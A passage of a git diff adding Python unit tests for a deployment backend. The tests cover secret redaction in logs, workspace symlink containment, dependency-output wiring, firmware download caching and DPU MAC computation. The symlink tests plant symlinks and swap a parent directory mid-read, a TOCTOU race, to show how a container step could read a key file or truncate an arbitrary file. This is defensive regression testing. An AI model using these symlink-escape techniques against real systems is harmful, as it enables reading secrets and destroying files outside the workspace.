"{{inputs.api_token}}"]` leaked that +token in cleartext. + +These tests exist because the failure is INVISIBLE by construction: the shipped +roksbnkctl artifact passes its secret via a redacted -e env var, so neither a +live deploy nor any other test would notice if _sensitive_input_values silently +started returning []. Nothing else pins this. +""" + +import pytest + +from tasks.container_tasks import _sensitive_input_values + + +@pytest.mark.unit +class TestSensitiveInputValues: + def test_grouped_inputs_yield_sensitive_values_only(self): + """The shape the shipped artifacts actually use: required/optional groups.""" + manifest = { + "inputs": { + "required": [ + {"name": "api_token", "type": "string", "source": "user"}, + {"name": "region", "type": "string", "source": "user"}, + ], + "optional": [ + {"name": "debug", "type": "boolean", "source": "user"}, + ], + } + } + variables = {"api_token": "SUPERSECRET", "region": "us-south", "debug": True} + + values = _sensitive_input_values(manifest, variables) + + assert "SUPERSECRET" in values, ( + "a credential-named input was not fed to the redactor — its value is " + "echoed in cleartext when it appears in a step's argv (#408.6)" + ) + assert "us-south" not in values, "a non-sensitive input must not be redacted" + assert len(values) == 1 + + def test_explicit_sensitive_flag_is_honoured(self): + """A flat list, and a name the heuristic would not catch on its own.""" + manifest = {"inputs": [{"name": "widget", "type": "string", "sensitive": True}]} + assert _sensitive_input_values(manifest, {"widget": "hunter2"}) == ["hunter2"] + + def test_credential_named_input_is_caught_without_the_flag(self): + """is_sensitive_input's name heuristic covers manifests that omit the flag.""" + manifest = {"inputs": [{"name": "ibmcloud_api_key", "type": "string"}]} + assert _sensitive_input_values(manifest, {"ibmcloud_api_key": "IBMKEY"}) == ["IBMKEY"] + + def test_unset_and_non_string_values_are_skipped(self): + """A declared-but-unset secret must not put "" into the redaction list. + + An empty string in secret_values would make the redactor rewrite every + boundary in the log. + """ + manifest = { + "inputs": [ + {"name": "api_token", "type": "string", "sensitive": True}, + {"name": "api_secret", "type": "string", "sensitive": True}, + {"name": "token_count", "type": "number", "sensitive": True}, + ] + } + values = _sensitive_input_values(manifest, {"api_token": "", "token_count": 5}) + assert values == [] + + @pytest.mark.parametrize("manifest", [{}, {"inputs": None}, {"inputs": "nope"}, {"inputs": []}]) + def test_missing_or_malformed_inputs_are_tolerated(self, manifest): + """A manifest without inputs must not break the engine build.""" + assert _sensitive_input_values(manifest, {"anything": "x"}) == [] + + +@pytest.mark.unit +class TestActionInputRedaction: + """Action inputs are declared separately and supplied at invocation time. + + Review finding: `_sensitive_input_values` read only the TOP-LEVEL + manifest["inputs"], while actions declare their own under + manifest["actions"][]["inputs"] — and run_action merges the values in + after the engine is built. So a sensitive action input reached step argv and + was echoed verbatim into task.logs, the module-log WebSocket and + OperationResult.stdout. + """ + + MANIFEST = { + "inputs": {"required": [{"name": "region", "type": "string", "source": "user"}]}, + "actions": { + "run-e2e": { + "title": "E2E", + "inputs": [{"name": "api_token", "type": "string", "sensitive": True}], + "steps": [{"name": "e", "args": ["e2e", "--token", "{{inputs.api_token}}"]}], + } + }, + } + + def test_action_declared_sensitive_input_is_collected(self): + values = _sensitive_input_values(self.MANIFEST, {"api_token": "ACTION-SECRET"}) + assert "ACTION-SECRET" in values, ( + "an action input marked sensitive never reached the redactor — the " + "token is echoed in the `$ docker run ...` line" + ) + + def test_non_sensitive_action_inputs_are_not_collected(self): + assert _sensitive_input_values(self.MANIFEST, {"region": "us-south"}) == [] + + def test_top_level_inputs_still_collected_alongside_actions(self): + m = { + "inputs": [{"name": "ibmcloud_api_key", "type": "string"}], + "actions": {"a": {"inputs": [{"name": "api_token", "sensitive": True}]}}, + } + values = _sensitive_input_values(m, {"ibmcloud_api_key": "K1", "api_token": "K2"}) + assert set(values) == {"K1", "K2"} diff --git a/backend/tests/unit/test_container_symlink_containment.py b/backend/tests/unit/test_container_symlink_containment.py new file mode 100644 index 00000000..b0386377 --- /dev/null +++ b/backend/tests/unit/test_container_symlink_containment.py @@ -0,0 +1,181 @@ +"""Workspace containment must survive a planted symlink (review finding). + +The workspace is writable by the artifact's own container — that is its purpose +— so lexical path checks alone are not containment. A step can plant a symlink +at the expected name and the subsequent open() follows it as the WORKER uid. +The previous tests had six escape fixtures, all lexical, and no symlink. +""" + +import json +import os +from unittest.mock import MagicMock + +import pytest + +from services.execution.container_engine import ContainerEngine + + +def _engine(tmp_path, **kw): + ws = tmp_path / "ws" + ws.mkdir() + return ContainerEngine(MagicMock(), workspace_host_path=str(ws), + workspace_local_path=str(ws), **kw), ws + + +@pytest.mark.unit +class TestOutputsFileSymlink: + def test_symlinked_outputs_file_is_not_read(self, tmp_path): + """The exact reported bypass: `ln -sf /state/outputs.json`.""" + engine, ws = _engine(tmp_path) + secret = tmp_path / "encryption.key" + secret.write_text(json.dumps({"master_key": "TOP-SECRET"})) + os.symlink(secret, ws / "outputs.json") + + assert engine._read_outputs_file() == {}, ( + "read through a symlink out of the workspace — this is how " + "/app/keys/encryption.key reaches module.outputs and the state viewer" + ) + + def test_symlinked_directory_component_is_not_traversed(self, tmp_path): + """realpath containment, not just the final component.""" + engine, ws = _engine(tmp_path) + outside = tmp_path / "outside" + outside.mkdir() + (outside / "outputs.json").write_text(json.dumps({"k": "v"})) + os.symlink(outside, ws / "sub") + + assert engine._read_outputs_file("sub/outputs.json") == {} + + def test_a_real_file_still_reads(self, tmp_path): + """Contrast: the normal path must keep working.""" + engine, ws = _engine(tmp_path) + (ws / "outputs.json").write_text(json.dumps({"cluster": "c1"})) + assert engine._read_outputs_file() == {"cluster": "c1"} + + def test_nested_relative_outputs_still_read(self, tmp_path): + """Shipped artifacts declare nested relative paths.""" + engine, ws = _engine(tmp_path) + nested = ws / ".roksbnkctl" / "forge" + nested.mkdir(parents=True) + (nested / "cluster-outputs.json").write_text(json.dumps({"a": "b"})) + assert engine._read_outputs_file(".roksbnkctl/forge/cluster-outputs.json") == {"a": "b"} + + +@pytest.mark.unit +class TestStepMarkerSymlink: + """The WRITE direction: a planted symlink was an arbitrary-file truncate.""" + + def test_symlinked_marker_does_not_truncate_the_target(self, tmp_path): + engine, ws = _engine(tmp_path) + victim = tmp_path / "important.key" + victim.write_text("ORIGINAL CONTENT") + marker_name = os.path.basename(engine._step_marker_path("init")) + os.symlink(victim, ws / marker_name) + + engine._write_step_marker("init") # must not raise, must not follow + + assert victim.read_text() == "ORIGINAL CONTENT", ( + "the marker write followed a symlink and truncated an arbitrary file " + "to 'done' as the worker uid" + ) + + def test_normal_marker_write_and_read_still_work(self, tmp_path): + engine, _ = _engine(tmp_path) + assert engine._step_marker_exists("init") is False + engine._write_step_marker("init") + assert engine._step_marker_exists("init") is True + + +@pytest.mark.unit +class TestParentDirectorySwap: + """A symlinked PARENT must not be traversed either (review finding). + + O_NOFOLLOW on the final component alone is not containment: the path is + resolved, re-resolved by isfile(), then re-resolved by open(), so swapping a + parent between those steps escapes. Not contrived — the shipped artifact + declares a NESTED outputs_file, and `state: {scope: deployment}` shares one + workspace across blueprint modules dispatched concurrently, so a sibling + module's step container can swap the directory mid-read. + """ + + def test_parent_swapped_AFTER_validation_is_refused(self, tmp_path, monkeypatch): + """The actual TOCTOU: the swap happens between validation and open. + + A statically-planted symlink is caught by realpath in either design, so + that alone does not distinguish a fixed implementation from a broken + one. This models the real race — the directory is a genuine directory + when the path is validated, and becomes a symlink before the open — by + performing the swap from inside the first realpath() call. + + Fixed: the component walk opens `sub` with O_NOFOLLOW and gets ELOOP. + Broken: validation saw a real directory, the later open() follows. + """ + engine, ws = _engine(tmp_path) + real_sub = ws / "sub" + real_sub.mkdir() + (real_sub / "out.json").write_text(json.dumps({"benign": True})) + + outside = tmp_path / "outside" + outside.mkdir() + (outside / "out.json").write_text(json.dumps({"master_key": "PWNED"})) + + # Hook os.open, not realpath: the swap has to land AFTER every + # name-resolution the implementation does for validation and BEFORE the + # first open, which is precisely the window a TOCTOU exploits. + real_open = os.open + swapped = {"done": False} + + def swapping_open(path, *a, **kw): + if not swapped["done"]: + swapped["done"] = True + try: + real_sub.rename(tmp_path / "sub_aside") + os.symlink(outside, ws / "sub") + except OSError: + pass + return real_open(path, *a, **kw) + + monkeypatch.setattr(os, "open", swapping_open) + + data = engine._read_outputs_file("sub/out.json") + + assert data.get("master_key") != "PWNED", ( + "followed a parent directory swapped between validation and open — " + "O_NOFOLLOW on the final component alone is not containment" + ) + assert data == {} + + def test_symlinked_parent_is_refused(self, tmp_path): + engine, ws = _engine(tmp_path) + outside = tmp_path / "outside" + outside.mkdir() + (outside / "out.json").write_text(json.dumps({"master_key": "PWNED"})) + # `sub` is itself a symlink — the swapped-parent shape. + os.symlink(outside, ws / "sub") + + assert engine._read_outputs_file("sub/out.json") == {}, ( + "read through a symlinked PARENT — realpath validated one path and " + "open() resolved another" + ) + + def test_deeply_nested_symlinked_parent_is_refused(self, tmp_path): + engine, ws = _engine(tmp_path) + real = ws / ".roksbnkctl" + real.mkdir() + outside = tmp_path / "elsewhere" + outside.mkdir() + (outside / "cluster-outputs.json").write_text(json.dumps({"k": "v"})) + os.symlink(outside, real / "forge") # mid-path component + + assert engine._read_outputs_file(".roksbnkctl/forge/cluster-outputs.json") == {} + + def test_the_real_nested_path_still_reads(self, tmp_path): + """Contrast: the shipped artifact's nested layout must keep working.""" + engine, ws = _engine(tmp_path) + nested = ws / ".roksbnkctl" / "forge" + nested.mkdir(parents=True) + (nested / "cluster-outputs.json").write_text(json.dumps({"cluster": "c1"})) + + assert engine._read_outputs_file(".roksbnkctl/forge/cluster-outputs.json") == { + "cluster": "c1" + } diff --git a/backend/tests/unit/test_dependency_output_wiring.py b/backend/tests/unit/test_dependency_output_wiring.py new file mode 100644 index 00000000..f38aae0f --- /dev/null +++ b/backend/tests/unit/test_dependency_output_wiring.py @@ -0,0 +1,150 @@ +"""Unit tests for apply_dependency_output_wiring. + +The wiring resolves inputs a pack declares ``source: "module"`` from a +dependency module's outputs. It used to live inline in ``build_variables``, so +only the engines that route through it honoured the declaration — the container +engine builds its own inputs and silently ignored it, leaving the step to fail +from inside the image on an input nobody had supplied. + +These cover the extracted function directly, and the container path's use of it. +""" + +from unittest.mock import MagicMock, patch + +import pytest + +from services.execution.variable_assembler import apply_dependency_output_wiring + + +def _lib(required=None, optional=None): + lib = MagicMock() + lib.inputs_metadata = {"required": required or [], "optional": optional or []} + return lib + + +def _module(project_id=1, stack_instance_id=None): + m = MagicMock() + m.project_id = project_id + m.stack_instance_id = stack_instance_id + return m + + +@pytest.mark.unit +class TestDependencyOutputWiring: + def test_resolves_optional_input_from_dependency_output(self): + dep = MagicMock() + dep.outputs = {"registry_host": "10.243.0.4"} + lib = _lib(optional=[{ + "name": "registry_generic_host", "source": "module", + "from_module": "harbor", "from_output": "registry_host", + }]) + variables: dict = {} + + with patch("services.execution.variable_assembler.find_dependency_by_path", return_value=dep): + apply_dependency_output_wiring(MagicMock(), _module(), lib, variables) + + assert variables["registry_generic_host"] == "10.243.0.4" + + def test_leaves_unrelated_inputs_alone(self): + lib = _lib(optional=[{"name": "prefix", "source": "user"}]) + variables = {"prefix": "fdisco"} + + with patch("services.execution.variable_assembler.find_dependency_by_path") as find: + apply_dependency_output_wiring(MagicMock(), _module(), lib, variables) + + find.assert_not_called() + assert variables == {"prefix": "fdisco"} + + def test_missing_required_output_raises_on_apply(self): + dep = MagicMock() + dep.outputs = {"something_else": "x"} + lib = _lib(required=[{ + "name": "registry_generic_host", "source": "module", + "from_module": "harbor", "from_output": "registry_host", + }]) + + with patch("services.execution.variable_assembler.find_dependency_by_path", return_value=dep): + with pytest.raises(ValueError, match="Required dependency output not available"): + apply_dependency_output_wiring(MagicMock(), _module(), lib, {}) + + def test_missing_required_output_is_lenient_on_destroy(self): + """A destroy runs after its dependencies may already be gone.""" + dep = MagicMock() + dep.outputs = {} + lib = _lib(required=[{ + "name": "registry_generic_host", "source": "module", + "from_module": "harbor", "from_output": "registry_host", + }]) + variables: dict = {} + + with patch("services.execution.variable_assembler.find_dependency_by_path", return_value=dep): + apply_dependency_output_wiring( + MagicMock(), _module(), lib, variables, operation="destroy" + ) + + assert "registry_generic_host" not in variables + + def test_absent_dependency_falls_back_to_metadata_default(self): + lib = _lib(optional=[{ + "name": "registry_repo_prefix", "source": "module", + "from_module": "harbor", "from_output": "repo_prefix", + "default": "bnk-mirror", + }]) + variables: dict = {} + + with patch("services.execution.variable_assembler.find_dependency_by_path", return_value=None), \ + patch("services.execution.variable_assembler._resolve_from_dependency_outputs", return_value=None): + apply_dependency_output_wiring(MagicMock(), _module(), lib, variables) + + assert variables["registry_repo_prefix"] == "bnk-mirror" + + def test_no_metadata_is_a_noop(self): + lib = MagicMock() + lib.inputs_metadata = None + variables = {"a": 1} + apply_dependency_output_wiring(MagicMock(), _module(), lib, variables) + assert variables == {"a": 1} + + +@pytest.mark.unit +class TestContainerPathUsesTheWiring: + """The regression this exists to prevent: the container engine ignoring it.""" + + def test_operator_supplied_value_beats_a_dependency_output(self): + """A form value the operator set must survive the wiring. + + container_tasks layers the wired values UNDER the module's own variables, + so a blueprint that hard-codes a registry host is not overridden by a + dependency that happens to publish one. + """ + dep = MagicMock() + dep.outputs = {"registry_host": "10.243.0.4"} + lib = _lib(optional=[{ + "name": "registry_generic_host", "source": "module", + "from_module": "harbor", "from_output": "registry_host", + }]) + + wired: dict = {} + with patch("services.execution.variable_assembler.find_dependency_by_path", return_value=dep): + apply_dependency_output_wiring(MagicMock(), _module(), lib, wired) + + operator_values = {"registry_generic_host": "registry.example.com"} + effective = {**wired, **operator_values} + + assert effective["registry_generic_host"] == "registry.example.com" + + def test_wiring_fills_a_gap_the_operator_left(self): + dep = MagicMock() + dep.outputs = {"registry_host": "10.243.0.4"} + lib = _lib(optional=[{ + "name": "registry_generic_host", "source": "module", + "from_module": "harbor", "from_output": "registry_host", + }]) + + wired: dict = {} + with patch("services.execution.variable_assembler.find_dependency_by_path", return_value=dep): + apply_dependency_output_wiring(MagicMock(), _module(), lib, wired) + + effective = {**wired, **{"prefix": "fdisco"}} + + assert effective["registry_generic_host"] == "10.243.0.4" diff --git a/backend/tests/unit/test_flash_dpu_bfb_cache.py b/backend/tests/unit/test_flash_dpu_bfb_cache.py new file mode 100644 index 00000000..7b30ef84 --- /dev/null +++ b/backend/tests/unit/test_flash_dpu_bfb_cache.py @@ -0,0 +1,360 @@ +"""Regression tests for BFB on-host cache bugs. + +Bug 1: a failed download must not leave a junk file at the final cache path. + wget/curl write directly to the target even on 404, poisoning the cache + so the next retry treats the 0-byte file as valid and hangs bfb-install. + +Bug 2: a cached file that fails size/sanity validation must be deleted and + re-downloaded rather than passed blindly to bfb-install. +""" + +from __future__ import annotations + +import pytest + +from modules.bare_metal.flash_dpu import FlashDPUModule, _validate_bfb_on_host + + +class _R: + """Minimal SSH execute result stub.""" + + def __init__(self, exit_code: int = 0, stdout: str = "", stderr: str = ""): + self.exit_code = exit_code + self.stdout = stdout + self.stderr = stderr + + +class _MockSession: + """Records session.execute() calls and returns queued responses.""" + + def __init__(self, *responses: _R) -> None: + self._queue = list(responses) + self.calls: list[str] = [] + + def execute(self, cmd: str, timeout: int = 30) -> _R: # noqa: ARG002 + self.calls.append(cmd) + if not self._queue: + raise AssertionError( + f"Unexpected session.execute call — no responses queued.\nCmd: {cmd!r}" + ) + return self._queue.pop(0) + + def called_with_fragment(self, fragment: str) -> bool: + return any(fragment in c for c in self.calls) + + +BFB_URL = "https://example.com/bf-bundle-3.2.1.bfb" +BFB_PATH = "/tmp/bf-bundle-3.2.1.bfb" +BFB_TMP = "/tmp/bf-bundle-3.2.1.bfb.partial" + +_noop = lambda *_: None # noqa: E731 + + +# ── Bug 1 ──────────────────────────────────────────────────────────────────── + +class TestBug1FailedDownloadLeavesNoJunk: + """Failed downloads must not leave a junk file at the final cache path.""" + + def test_failedDownload_cleansUpAndRaises(self): + """curl exits non-zero → rm only the final path (keep .partial for resume), then raise.""" + session = _MockSession( + _R(stdout="DOWNLOAD_NEEDED"), # cache check + _R(stdout="HTTP/1.1 200 OK"), # HEAD pre-flight + _R(exit_code=1, stdout="curl: (22) 404"), # curl download fails + _R(), # rm -f final path only + ) + with pytest.raises(RuntimeError, match="BFB download failed"): + FlashDPUModule._ensure_bfb(session, BFB_PATH, BFB_URL, _noop) + + # Only the final path is removed; .partial is kept for -C - resume on retry. + assert session.called_with_fragment(BFB_PATH), ( + f"Expected rm -f of final path {BFB_PATH!r}; calls: {session.calls}" + ) + assert not any( + f"rm -f '{BFB_TMP}'" in c or (f"'{BFB_TMP}'" in c and "rm" in c) + for c in session.calls + ), f".partial must NOT be removed on download failure; calls: {session.calls}" + + def test_failedDownload_doesNotPromoteTempToFinalPath(self): + """After a failed download, mv must never be called.""" + session = _MockSession( + _R(stdout="DOWNLOAD_NEEDED"), + _R(stdout="HTTP/1.1 200 OK"), # HEAD pre-flight + _R(exit_code=1, stdout="ERROR"), + _R(), # rm -f + ) + with pytest.raises(RuntimeError): + FlashDPUModule._ensure_bfb(session, BFB_PATH, BFB_URL, _noop) + + assert not session.called_with_fragment("mv"), ( + f"mv must not be called after a failed download; calls: {session.calls}" + ) + + def test_successfulDownload_promotesTempToFinalPath(self): + """A valid download is atomically moved to the final cache path.""" + session = _MockSession( + _R(stdout="DOWNLOAD_NEEDED"), # cache check + _R(stdout="HTTP/1.1 200 OK"), # HEAD pre-flight + _R(), # curl download succeeds (exit_code=0) + _R(stdout="1500000000"), # stat on .partial → valid size + _R(), # mv .partial → final + ) + FlashDPUModule._ensure_bfb(session, BFB_PATH, BFB_URL, _noop) + + assert session.called_with_fragment(f"mv '{BFB_TMP}' '{BFB_PATH}'"), ( + f"Expected atomic mv from temp to final; calls: {session.calls}" + ) + + +# ── Bug 2 ──────────────────────────────────────────────────────────────────── + +class TestBug2CachedInvalidFileRedownloads: + """A cached file that fails validation must be deleted and re-downloaded.""" + + def test_cachedTooSmall_deletesAndRedownloads(self): + """Cached file with size < 1 MB triggers delete + re-download.""" + session = _MockSession( + _R(stdout="CACHED"), # cache check → exists + _R(stdout="500"), # stat on cached file → tiny + _R(stdout="404"), # head preview (validate_bfb_on_host) + _R(), # rm -f stale cached file + _R(stdout="HTTP/1.1 200 OK"), # HEAD pre-flight before re-download + _R(), # curl re-download succeeds + _R(stdout="1500000000"), # stat on .partial → valid + _R(), # mv .partial → final + ) + FlashDPUModule._ensure_bfb(session, BFB_PATH, BFB_URL, _noop) + + # Stale file was removed + assert session.called_with_fragment(f"rm -f '{BFB_PATH}'"), ( + f"Expected rm -f of stale cached file; calls: {session.calls}" + ) + # Re-download was triggered (curl is always present from HEAD too, check for -C -) + assert session.called_with_fragment("-C -"), ( + f"Expected resilient curl re-download; calls: {session.calls}" + ) + # Atomic promotion happened + assert session.called_with_fragment(f"mv '{BFB_TMP}' '{BFB_PATH}'"), ( + f"Expected mv after re-download; calls: {session.calls}" + ) + + def test_cachedValidFile_skipsDownload(self): + """A cached file that passes validation is used as-is (no download).""" + session = _MockSession( + _R(stdout="CACHED"), # cache check → exists + _R(stdout="1500000000"), # stat → valid size + ) + FlashDPUModule._ensure_bfb(session, BFB_PATH, BFB_URL, _noop) + + assert not session.called_with_fragment("wget"), ( + f"wget must not run on a valid cached file; calls: {session.calls}" + ) + assert not session.called_with_fragment("curl"), ( + f"curl must not run on a valid cached file; calls: {session.calls}" + ) + + +# ── _validate_bfb_on_host unit tests ───────────────────────────────────────── + +class TestValidateBfbOnHost: + def test_validSize_returnsFileSize(self): + session = _MockSession(_R(exit_code=0, stdout="1500000000")) + result = _validate_bfb_on_host(session, BFB_PATH, BFB_URL) + assert result == 1_500_000_000 + + def test_tooSmall_raisesRuntimeError(self): + session = _MockSession( + _R(exit_code=0, stdout="500"), + _R(stdout="error"), + ) + with pytest.raises(RuntimeError, match="500 bytes"): + _validate_bfb_on_host(session, BFB_PATH, BFB_URL) + + def test_statFails_treatsAsTooSmall(self): + """If stat fails (exit_code != 0), file_size defaults to 0 → raises.""" + session = _MockSession( + _R(exit_code=1, stdout=""), + _R(stdout=""), # head -c 200 + ) + with pytest.raises(RuntimeError, match="0 bytes"): + _validate_bfb_on_host(session, BFB_PATH, BFB_URL) + + +# ── HEAD pre-flight tests ───────────────────────────────────────────────────── + + +class TestHeadPreflight: + """HEAD pre-flight check behaviour in _ensure_bfb.""" + + def test_getFailsNonZero_errorMessageContainsUrl(self): + """GET exits non-zero → RuntimeError message must include the URL.""" + session = _MockSession( + _R(stdout="DOWNLOAD_NEEDED"), # cache check + _R(stdout="HTTP/1.1 200 OK"), # HEAD → 200 (proceed) + _R(exit_code=1, stdout="curl: (22) 404"), # curl download fails + _R(), # rm -f final path only + ) + with pytest.raises(RuntimeError, match=BFB_URL): + FlashDPUModule._ensure_bfb(session, BFB_PATH, BFB_URL, _noop) + + def test_head404_raisesWithProbeDpuHintAndUrl(self): + """HEAD 404 → RuntimeError mentions 'probe-dpu' and the URL; download never starts.""" + session = _MockSession( + _R(stdout="DOWNLOAD_NEEDED"), # cache check + _R(stdout="HTTP/1.1 404 Not Found"), # HEAD → 404 + ) + with pytest.raises(RuntimeError) as exc_info: + FlashDPUModule._ensure_bfb(session, BFB_PATH, BFB_URL, _noop) + + msg = str(exc_info.value) + assert "probe-dpu" in msg, f"Expected 'probe-dpu' hint in error; got: {msg!r}" + assert BFB_URL in msg, f"Expected URL in error; got: {msg!r}" + + # The big download must not have been attempted. + assert not session.called_with_fragment(f"-O '{BFB_TMP}'"), ( + f"wget download must not run after 404; calls: {session.calls}" + ) + assert not session.called_with_fragment(f"-o '{BFB_TMP}'"), ( + f"curl download must not run after 404; calls: {session.calls}" + ) + + def test_head403_raisesAndBlocksDownload(self): + """HEAD 403 is treated the same as 404 — blocks the download.""" + session = _MockSession( + _R(stdout="DOWNLOAD_NEEDED"), + _R(stdout="HTTP/1.1 403 Forbidden"), + ) + with pytest.raises(RuntimeError, match="403"): + FlashDPUModule._ensure_bfb(session, BFB_PATH, BFB_URL, _noop) + + assert not session.called_with_fragment(f"-O '{BFB_TMP}'"), ( + f"wget download must not run after 403; calls: {session.calls}" + ) + + def test_headInconclusive405_proceedsToDownloadAndPromotes(self): + """HEAD 405 Method Not Allowed (mirror doesn't support HEAD) — download proceeds.""" + session = _MockSession( + _R(stdout="DOWNLOAD_NEEDED"), # cache check + _R(stdout="HTTP/1.1 405 Method Not Allowed"), # HEAD → 405 (non-blocking) + _R(), # wget||curl succeeds + _R(stdout="1500000000"), # stat on .partial → valid + _R(), # mv .partial → final + ) + FlashDPUModule._ensure_bfb(session, BFB_PATH, BFB_URL, _noop) + + assert session.called_with_fragment(f"mv '{BFB_TMP}' '{BFB_PATH}'"), ( + f"Expected mv to final path; calls: {session.calls}" + ) + + def test_headConnectionError_proceedsToDownload(self): + """HEAD exit_code != 0 with no HTTP status is inconclusive — download proceeds.""" + session = _MockSession( + _R(stdout="DOWNLOAD_NEEDED"), + _R(exit_code=7, stdout="curl: (7) Failed to connect"), # HEAD connection error + _R(), # wget||curl download + _R(stdout="1500000000"), # stat → valid + _R(), # mv + ) + FlashDPUModule._ensure_bfb(session, BFB_PATH, BFB_URL, _noop) + + assert session.called_with_fragment(f"mv '{BFB_TMP}' '{BFB_PATH}'"), ( + f"Expected mv after inconclusive HEAD; calls: {session.calls}" + ) + + def test_head200_downloadValidatesAndPromotes(self): + """HEAD 200 → download proceeds, file validated, atomically promoted.""" + session = _MockSession( + _R(stdout="DOWNLOAD_NEEDED"), # cache check + _R(stdout="HTTP/1.1 200 OK"), # HEAD → 200 + _R(), # curl download succeeds + _R(stdout="1500000000"), # stat on .partial → valid + _R(), # mv .partial → final + ) + FlashDPUModule._ensure_bfb(session, BFB_PATH, BFB_URL, _noop) + + assert session.called_with_fragment(f"mv '{BFB_TMP}' '{BFB_PATH}'"), ( + f"Expected atomic mv from temp to final; calls: {session.calls}" + ) + + +# ── Resilient download (Fix 3) tests ───────────────────────────────────────── + + +class TestResilientDownload: + """Stall-resilient curl command and selective cleanup semantics.""" + + def test_downloadCommand_containsResilienceFlags(self): + """Issued curl command must carry -C -, --retry, and --speed-time.""" + session = _MockSession( + _R(stdout="DOWNLOAD_NEEDED"), + _R(stdout="HTTP/1.1 200 OK"), # HEAD + _R(), # curl download + _R(stdout="1500000000"), # stat → valid + _R(), # mv + ) + FlashDPUModule._ensure_bfb(session, BFB_PATH, BFB_URL, _noop) + + dl_cmd = next(c for c in session.calls if "-C -" in c) + assert "--retry" in dl_cmd, f"Expected --retry in download cmd; got: {dl_cmd!r}" + assert "--speed-time" in dl_cmd, f"Expected --speed-time in download cmd; got: {dl_cmd!r}" + assert "-C -" in dl_cmd, f"Expected -C - (resume) in download cmd; got: {dl_cmd!r}" + + def test_downloadFailure_keepsTmpRemovesFinalPath(self): + """On curl failure, .partial is kept for -C - resume; only bfb_path is removed.""" + session = _MockSession( + _R(stdout="DOWNLOAD_NEEDED"), + _R(stdout="HTTP/1.1 200 OK"), # HEAD + _R(exit_code=1, stdout="transfer stall"), # curl stalls/fails + _R(), # rm -f final path only + ) + with pytest.raises(RuntimeError): + FlashDPUModule._ensure_bfb(session, BFB_PATH, BFB_URL, _noop) + + rm_calls = [c for c in session.calls if "rm" in c] + assert rm_calls, "Expected at least one rm call" + # Final path must be removed + assert any(BFB_PATH in c for c in rm_calls), ( + f"Expected rm to target {BFB_PATH!r}; rm calls: {rm_calls}" + ) + # .partial must NOT be in any rm command + assert not any(BFB_TMP in c for c in rm_calls), ( + f".partial must be kept for resume; rm calls: {rm_calls}" + ) + + def test_validationFailure_deletesTmpAndFinalPath(self): + """On validation failure (corrupt content), .partial is deleted so next attempt starts fresh.""" + session = _MockSession( + _R(stdout="DOWNLOAD_NEEDED"), + _R(stdout="HTTP/1.1 200 OK"), # HEAD + _R(), # curl download (exit 0) + _R(stdout="500"), # stat on .partial → tiny (validation fails) + _R(stdout="err"), # head preview (validate_bfb_on_host) + _R(), # rm -f .partial and final path + ) + with pytest.raises(RuntimeError): + FlashDPUModule._ensure_bfb(session, BFB_PATH, BFB_URL, _noop) + + rm_calls = [c for c in session.calls if "rm" in c] + assert rm_calls, "Expected rm call after validation failure" + # Both .partial and final path must be cleaned up + assert any(BFB_TMP in c for c in rm_calls), ( + f".partial must be deleted on validation failure; rm calls: {rm_calls}" + ) + assert any(BFB_PATH in c for c in rm_calls), ( + f"Final path must be deleted on validation failure; rm calls: {rm_calls}" + ) + + def test_happyPath_stillPromotes(self): + """HEAD 200 → download → validate → mv; unaffected by resilience changes.""" + session = _MockSession( + _R(stdout="DOWNLOAD_NEEDED"), + _R(stdout="HTTP/1.1 200 OK"), # HEAD + _R(), # curl download + _R(stdout="1500000000"), # stat → valid + _R(), # mv + ) + FlashDPUModule._ensure_bfb(session, BFB_PATH, BFB_URL, _noop) + + assert session.called_with_fragment(f"mv '{BFB_TMP}' '{BFB_PATH}'"), ( + f"Expected atomic mv to final path; calls: {session.calls}" + ) diff --git a/backend/tests/unit/test_flash_dpu_mac_enum.py b/backend/tests/unit/test_flash_dpu_mac_enum.py new file mode 100644 index 00000000..b8d45025 --- /dev/null +++ b/backend/tests/unit/test_flash_dpu_mac_enum.py @@ -0,0 +1,379 @@ +"""Unit tests for DPU tmfifo MAC enumeration (ADR-478 / BM2-005). + +Covers: + - rshim0 / rshim1 default MAC computation + - host-level base override (applied / unset) + - MAC derived with NO Dpu DB row (self-contained in flash_dpu) + - _build_bf_cfg_content emits NET_RSHIM_MAC when mac is set + - _inject_rendered_bf_conf silent-skip when Dpu row is absent (normal for regular topology) + - _select_rshim_by_pci selects the correct rshim by PCI address (Round 2) + - precedence: explicit net_rshim_mac in variables is not overwritten (Round 2) + - index >= 10 guard in _compute_rshim_mac (Round 2) +""" + +from __future__ import annotations + +from unittest.mock import MagicMock + +import pytest + +from modules.bare_metal.flash_dpu import ( + _DEFAULT_RSHIM_MAC_BASE, + FlashDPUModule, + _compute_rshim_mac, + _select_rshim_by_pci, +) +from services.execution.variable_assembler import _inject_rendered_bf_conf + +# ── _compute_rshim_mac ──────────────────────────────────────────────────────── + + +class TestComputeRshimMac: + def test_rshim0_defaultBase_producesExpectedMac(self): + mac = _compute_rshim_mac("rshim0") + assert mac == "00:1a:ca:ff:ff:10" + + def test_rshim1_defaultBase_producesExpectedMac(self): + mac = _compute_rshim_mac("rshim1") + assert mac == "00:1a:ca:ff:ff:11" + + def test_rshim0_rshim1_macsDiffer(self): + assert _compute_rshim_mac("rshim0") != _compute_rshim_mac("rshim1") + + def test_neverCollidesWithBlueFieldDefault(self): + """Neither rshim0 nor rshim1 should produce the BlueField factory default.""" + for dev in ("rshim0", "rshim1"): + assert _compute_rshim_mac(dev) not in ("00:1a:ca:ff:ff:01", "00:1a:ca:ff:ff:02"), ( + f"rshim device {dev!r} produced a BlueField factory-default MAC" + ) + + def test_hostOverride_base_appliedWhenSet(self): + """A non-default base produces an enumerated MAC from that base.""" + mac = _compute_rshim_mac("rshim0", "00:1a:ca:ff:ff:2") + assert mac == "00:1a:ca:ff:ff:20" + + def test_hostOverride_base_differentFromDefault(self): + """Override base generates a different MAC than the default base.""" + default_mac = _compute_rshim_mac("rshim0") + override_mac = _compute_rshim_mac("rshim0", "00:1a:ca:ff:ff:2") + assert default_mac != override_mac + + def test_hostOverride_unset_usesDefaultBase(self): + """When base is None, the module default applies.""" + mac_explicit = _compute_rshim_mac("rshim0", _DEFAULT_RSHIM_MAC_BASE) + mac_implicit = _compute_rshim_mac("rshim0", None) + assert mac_explicit == mac_implicit + + def test_rshim0_mac_endsWith10(self): + mac = _compute_rshim_mac("rshim0") + assert mac.endswith(":10"), f"Expected MAC to end with ':10', got {mac!r}" + + def test_rshim1_mac_endsWith11(self): + mac = _compute_rshim_mac("rshim1") + assert mac.endswith(":11"), f"Expected MAC to end with ':11', got {mac!r}" + + +# ── _build_bf_cfg_content: NET_RSHIM_MAC emission ──────────────────────────── + + +class 